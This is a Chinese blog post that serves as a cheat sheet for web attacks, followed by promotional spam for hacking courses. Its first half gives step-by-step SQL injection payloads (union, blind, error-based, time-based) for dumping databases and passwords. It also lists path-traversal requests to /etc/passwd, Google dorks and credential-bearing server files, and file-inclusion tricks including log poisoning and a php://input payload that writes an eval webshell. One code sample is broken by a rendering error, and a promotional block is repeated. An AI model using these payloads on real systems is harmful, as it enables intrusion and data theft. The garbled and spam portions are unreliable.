常见Web十大漏洞,常见Web漏洞_十大常见web漏洞,2024年最新完整PDF

2401_84239901 2024-07-01 09:33:01 阅读 81

CSRF:

SSRF:

一、SQL注入漏洞

Web应用程序对用户数据交互时候前端传入后端处理没做过滤处理,恶意代码输入后被拼接到SQL语句中执行一部分,使数据库回显内容。

分为字符型和数字型

分为以下五种注入方式:

布尔盲注:根据返回页面判断条件真假

延时注入:用页面返回时间是否增加判断是否存在注入

报错注入:页面会返回错误信息

联合查询注入:可以使用union的情况下

堆叠注入:可以同时执行多条语句

      (mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句)

查找SQL注入漏洞

Union注入

1、在参数后加单引号使其报错,并用and 1=1和and 1=2测试报错结果

?id=1’ and 1=1 --+ 页面返回正常

?id=1’ and 1=2 --+页面返回不正常

2、使用order by 或 group by猜字段

?id=1%27 order by 3–+         返回正常

?id=1%27 order by 4–+         返回正常

?id=1%27 order by 5–+         返回错误

证明字段总数为4

3、联合查询

?id=-1’ union select 1,2,3,4 --+

看哪个字段显示信息,利用它进一步注入出数据库信息

修改id为一个不存在的id,强行报错 因为代码默认只返回第一条结果,

不会返回 union select 的结果

4、获取数据库信息

id=-1’ union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) --+

或者

id=-1’ union select 1,2,3,database() --+

id=-1’ union select 1,2,3,version() --+ user()

获取数据库用户名 database() 获取数据库名

version() 获取数据库版本信息

concat_ws(separator,str1,str2,…) 含有分隔符地连接字符串

里边这的separator分隔符,用 char() 函数把 空格:空格 的ASCII码输出

–其它信息

@@datadir --数据库路径

@@version_compile_os --操作系统版本

5、获取数据表信息

id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+

table_schema=数据库名16进制或者用单引号括起来

6、获取字段信息

id=-1’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=‘数据库名’ and table_name=‘表名’ --+

7、脱库

union select 1,2,3,group_concat(name,password) from 表名

用字段名从表中取数据

group_concat(str1,str2,…) 连接一个组的所有字符串

布尔盲注

页面不返回查询信息的数据,只能通过页面返回信息的真假条件判断是否存在注入

1、在参数后加单引号使其报错,并用and 1=1和and 1=2测试报错结果

?id=1’ and 1=1 --+ 页面返回正常

?id=1’ and 1=2 --+ 页面返回不正常

2、判断数据库名的长度

1’and length(database())>=1–+ 页面返回正常

1’and length(database())>=13–+ 页面返回正常

1’and length(database())>=14–+ 页面返回错误

由此判断得到数据库名的长度是13个字符

3、猜解数据库名(建议写python脚本)

字符判断获取数据库名;

数据库名的范围一般在az、09之内,可能还会有特殊字符 “_”、“-” 等,这里的字母不区分大小写。

’ and substr(database(),1,1)=‘a’–+

’ and substr(database(),2,1)=‘a’–+

substr 的用法和 limit 有区别,limit从 0 开始排序,这里从 1 开始排序。

用Burp爆破字母a的位置,即可得到数据库名每个位置上的字符。

还可以用ASCII码查询

a 的ASCII码是97,在MySQL中使用ord函数转换ASCII,所以逐字符判断语句可改为:

’ and ord(substr(database(),1,1))=97–+

ASCII码表中可显示字符的范围是:0~127

4、判断数据库表名

’ and substr((select table_name from information_schema.tables where table_schema=‘数据库名’ limit 0,1),1,1)=‘a’–+

修改1,1前边的1~20,逐字符猜解出第一个表的名

修改limit的0,1前边的0~20,逐个猜解每个表

5、判断数据库字段名

’ and substr((select column_name from information_schema.columns where table_schema=‘数据库名’ and table_name=‘表名’ limit 0,1),1,1)=‘a’–+

修改1,1前边的1~20,逐字符猜解出第一个字段的名

修改limit的0,1前边的0~20,逐个猜解每个字段

报错注入

页面会返回错误信息,利用报错函数获取数据库数据

xpath语法错误

extractvalue() 查询节点内容

updatexml() 修改查询到的内容

它们的第二个参数都要求是符合xpath语法的字符串

如果不满足要求则会报错,并且将查询结果放在报错信息里

这二者里面传参第一个是两个第二个是三个,但都是改变xpath

主键重复(duplicate entry)

floor() --返回小于等于该值的最大整数

只要是count,rand(),group by 三个连用就会造成这种主键重复报错

1、尝试用单引号报错

同上

2、获取数据库名

’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+

0x7e是"~"符号的16进制,在这作为分隔符(喜欢哪个用哪个)

3、获取表名

’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’ limit 0,1),0x7e),1)–+

4、获取字段名

’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘数据库名’ and table_name=‘表名’ limit 0,1),0x7e),1)–+

5、脱库

’ and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)–+

其它函数payload语法:

–extractvalue

’ and extractvalue(1,concat(0x7e,(select database()),0x7e))–+

–floor()

’ and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)–+

时间盲注

服务器关闭了错误回显,单纯通过服务器返回内容的变化来判断是否存在SQL注入的方式 。

可以用benchmark,sleep等造成延时效果的函数。

如果benkchmark和sleep关键字被过滤了,可以让两个非常大的数据表做笛卡尔积 (opens new window)产生大量的计算从而产生时间延迟;

或者利用复杂的正则表达式去匹配一个超长字符串来产生时间延迟。

1、利用sleep判断数据库名长度

’ and sleep(5) and 1=1–+ 页面返回不正常,延时5秒

’ and sleep(5) and 1=2–+ 页面返回不正常,不延时

and if(length(database())>1,sleep(5),1)

–if(条件表达式,真,假) --C语言的三目运算符类似

2、获取数据库名

and if(substr(database(),1,1)=‘a’,sleep(5),1)–+

时间型盲注的加速方式

1、Windows平台上的Mysql可以用DNSlog加速注入

2、利用二分查找法

sqlmap盲注默认采用的是二分查找法

二、任意文件下载

漏洞原理:

一般来说在文件下载或查看功能处,当文件名参数可控,且系统未对参数进行过滤或者过滤不严格时,就能够实现下载服务器上的任何文件,产生任意文件下载漏洞,恶意用户就可利用路径回溯符号(…/)跳出程序本身的限制目录实现下载任意文件。此漏洞的最终目的还是为了进一步获取更多系统信息。

产生原因:

● 提供下载、查看的功能,并接收相关参数变量;

● 使用读取文件的函数;

● 未对相关参数做校验或者控制不严格;

● 能输出请求文件的内容,提供给客户端;

利用条件:

● 存在读文件的函数;

● 读取文件的路径是用户可控的且未经校验或校验不严格;

● 输出或下载了文件内容;

漏洞发现:

存在下载功能的功能点;可以使用Google hacking语法或者Web漏洞扫描器。

Google search

inurl:readfile.php?file=

inurl:download.php?file=

链接存在以下关键字:

download.php?path=

download.php?file=

download.php?filename=

down.php?file=

data.php?file=

readfile.php?file=

read.php?filename=

包含以下参数

&RealPath=

&FilePath=

&filepath=

&Filepath=

&Path=

&path=

&inputFile=

&InputFile=

&url=

&urls=

&Lang=

&dis=

&data=

&Date=

&readfile=

&filep=

&src=

&menu=

META-INF

WEB-INF

漏洞利用方法:

任意文件下载漏洞,正常的利用手段是下载服务器文件,比如脚本代码、服务器配置文件或者是系统配置文件等。但有时并不知道网站所处环境以及网站路径,就可以使用…/…/…/进行逐层猜测路径,案例如下:

index.php?f=…/…/…/…/…/…/…/…/…/etc/passwd

index.php?f=…/…/…/index.php

index.php?f=file:///etc/passwd

readfile.php?file=/etc/passwd

readfile.php?file=…/…/…/…/…/etc/passwd

readfile.php?file=…/…/…/…/…/…/…/etc/passwd%00 // 00截断

注:

当参数f的参数值为php⽂件时,若是⽂件被解析则是⽂件包含漏洞,

若显⽰源码或提⽰下载则是⽂件查看与下载漏洞。

漏洞防护:

(1)过滤".",使用户在 url 中不能回溯上级目录

(2)正则严格判断用户输入参数的格式

(3)php.ini 配置 open_basedir 限定文件访问范围

三、敏感文件

/root/.bash_history //用户终端历史命令记录文件

/root/.mysql_history //mysql历史命令记录文件

/proc/mounts //记录系统挂载设备

/porc/config.gz //内核配置文件

/var/lib/mlocate/mlocate.db //全文件路径

/porc/self/cmdline //当前进程的cmdline参数

/usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/usr/local/app/php5/lib/php.ini //php相关设置

/etc/httpd/conf/httpd.conf //apache配置文件

/etc/php5/apache2/php.ini //ubuntu系统的默认路径

Tomcat

apache-tomcat-8.5.51/conf/tomcat-users.xml //tomcat的角色(授权用户)配置文件

apache-tomcat-8.5.51/conf/server.xml //tomcat的主配置文件

apache-tomcat-8.5.51/conf/web.xml //tomcat应用程序的部署描述符文件

apache-tomcat-8.5.51/logs/catalina.out //即tomcat的标准输出和标准出错,所有输出到这两个位置的都会进入catalina.out,这里包含tomcat运行自己输出的日志以及应用里向console输出的日志。

Web应用

PHP

获取inc/config.php文件,获得数据库连接字符串中的口令信息;

ASP

获取inc/conn.asp文件,获得数据库连接字符串口令,得到数据库口令。若是ACCESS数据库,可以得到数据库路径,再下载数据库内容;

ASPX

获取网站根目录web.config文件,获得数据库连接字符串中的口令信息;

获取bin/*.dll文件,获取网站源码(不完整代码),使用.NET reflector工具打开编译后的dll文件;

JSP

获取conf/tomcat-user.xml文件,获得tongcat管理界面的口令信息,上传war包GetShell;

获取WEB-INF/Web.xml文件,获得数据库连接字符串中的口令信息。

四、文件包含

漏洞成因:

在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。

漏洞利用

利用条件:

(1)include()、include_noce()、require()、require_once()等函数通过动态变量的方式引入包含文件;

(2)用户能够控制该动态变量。

1、读取敏感文件

?arg=/etc/passwd

2、利用封装协议读源码

?arg=php://filter/read=convert.base64-encode/resource=config.php

这样能看到php文件的源码

3、包含图片Getshell

在上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码(图片马)

4、截断包含

漏洞代码:如:

?php

if(isset(KaTeX parse error: Expected '}', got 'EOF' at end of input: … { include(_GET[‘arg’].“.php”);

}else{

include(index.php);

}

?>

这样做一定程度上修复了漏洞, 上传图片一句话并访问:http://vuln.com/index.php?arg=1.jpg会出错。

因为包含文件里面不存在1.jpg.php这个文件。

但是如果输入http://vuln.com/index.php?arg=1.jpg%00,就极有可能会绕过检测。

这种方法只适用于php.inimagic_quotes_qpc=off并且PHP版本< 5.3.4的情况。

如果为on,%00会被转义,以至于无法截断。

5、包含Apache日志Getshell

条件:知道日志文件access.log的存放位置 ,默认位置:/var/log/httpd/access_log

access.log文件记录了客户端每次请求的相关信息; 当访问一个不存在的资源时access.log文件仍然会记录这条资源信息。

如果目标网站存在文件包含漏洞,但是没有可以包含的文件时,

我们就可以尝试访问http://www.vuln.com/<?php phpinfo(); ?>

Apache会将这条信息记录在access.log文件中,这时如果我们访问access.log文件,就会触发文件包含漏洞。

理论上是这样的,但是实际上却是输入的代码被转义无法解析。

攻击者可以通过burpsuite进行抓包在http请求包里面将转义的代码改为正常的测试代码就可以绕过。

这时再查看Apache日志文件,显示的就是正常的测试代码。

这时访问:http://www.vuln.com/index.php?arg=/var/log/httpd/access_log,即可成功执行代码

PHP中的封装协议(伪协议)

以下协议未写明条件的即是allow_url_fopen和allow_url_include状态off/on都行。

file://

作用:

用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受allow_url_fopen与allow_url_include的影响。

include()/require()/include_once()/require_once()参数可控的情况下

如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的

示例:

file://[文件的绝对路径和文件名]

http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt

file://[文件的相对路径和文件名]

http://127.0.0.1/include.php?file=./phpinfo.txt

file://[网络路径和文件名]

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

php://

条件:

allow_url_fopen:off/on

allow_url_include : 部分需要on (下面列出)

php://input

php://stdin

php://memory

php://temp

作用:

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是 php://filter 和 php://input

php://filter用于读取源码,php://input用于执行php代码

示例:

php://filter/read=convert.base64-encode/resource=[文件名] //读取文件源码

http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

2.php://input + [POST DATA]执行php代码

http://127.0.0.1/include.php?file=php://input

[POST DATA部分] <?php phpinfo(); ?>

3.若有写入权限,[POST DATA部分] 写入一句话木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

zip:// & bzip2:// & zlib://

作用:

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件

更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等

示例:

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)

img

如何自学黑客&网络安全

黑客零基础入门学习路线&规划

初级黑客

1、网络安全理论知识(2天)

①了解行业相关背景,前景,确定发展方向。

②学习网络安全相关法律法规。

③网络安全运营的概念。

④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)

①渗透测试的流程、分类、标准

②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking

③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察

④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)

①Windows系统常见功能和命令

②Kali Linux系统常见功能和命令

③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)

①计算机网络基础、协议和架构

②网络通信原理、OSI模型、数据转发流程

③常见协议解析(HTTP、TCP/IP、ARP等)

④网络攻击技术与网络安全防御技术

⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)

①数据库基础

②SQL语言基础

③数据库安全加固

6、Web渗透(1周)

①HTML、CSS和JavaScript简介

②OWASP Top10

③Web漏洞扫描工具

④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!

7、脚本编程(初级/中级/高级)

在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、超级黑客

这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。

img

网络安全工程师企业级学习路线

img

如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的

视频配套资料&国内外网安书籍、文档&工具

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

img

一些笔者自己买的、其他平台白嫖不到的视频教程。

img

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

img

程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、超级黑客

这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。

img

网络安全工程师企业级学习路线

img

如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的

视频配套资料&国内外网安书籍、文档&工具

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

img

一些笔者自己买的、其他平台白嫖不到的视频教程。

img

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

[外链图片转存中…(img-qRneaJRC-1712803324542)]



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。